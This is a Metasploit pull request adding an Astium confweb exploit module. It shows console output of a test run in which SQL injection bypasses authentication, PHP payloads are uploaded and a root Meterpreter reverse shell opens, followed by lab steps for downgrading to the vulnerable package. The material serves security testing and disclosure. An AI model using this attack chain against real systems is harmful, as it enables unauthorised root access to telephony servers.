rapid7/metasploit-framework — pull request #2379 by xistence (2013-09-17 06:32:45+00:00)
Title: added Astium confweb 25399 RCE

msf exploit(astium_sqli_upload) > set RHOST 192.168.2.134
RHOST => 192.168.2.134
msf exploit(astium_sqli_upload) > exploit

[*] Started reverse handler on 192.168.2.22:4444
[*] 192.168.2.134:80 - Retrieving cookie
[*] 192.168.2.134:80 - Session cookie is [ 9s1vfd3oocjsq41jmvljk6am30 ]
[*] 192.168.2.134:80 - Location is [ http://192.168.2.134/index.php?ctest=1&origlink=/en/content/index.php ]
[*] 192.168.2.134:80 - Following redirection
[*] 192.168.2.134:80 - Access login page
[*] 192.168.2.134:80 - Location is [ http://192.168.2.134/en/content/index.php?astiumnls=9s1vfd3oocjsq41jmvljk6am30 ]
[*] 192.168.2.134:80 - Following redirection
[*] 192.168.2.134:80 - Using SQLi to bypass authentication ]
[*] 192.168.2.134:80 - Uploading Payload #1 [ WWIUk.php ]
[*] 192.168.2.134:80 - Uploading Payload #2 [ sYspAGXzDtXX.php ]
[*] 192.168.2.134:80 - Requesting Payload #2 [ /upload/sYspAGXzDtXX.php ]
[*] 192.168.2.134:80 - Waiting 1 minute as the reloading process may take some time
[*] Sending stage (39195 bytes) to 192.168.2.134
[*] Meterpreter session 3 opened (192.168.2.22:4444 -> 192.168.2.134:59475) at 2013-09-17 12:15:04 +0700

meterpreter > getuid
Server username: root (0)

To test, the easiest way is to follow the installation instructions on http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren/?lang=en

After that downgrade the astium-confweb RPM by doing the following:

wget "ftp://yum.astium.nl/pub/dist/Astium/2.1/CentOS5/neonova/D/i386/os/neonova/RPMS/astium-confweb-2.1-24208.noarch.rpm"
rpm --oldpackage -Uvh astium-confweb-2.1-24208.noarch.rpm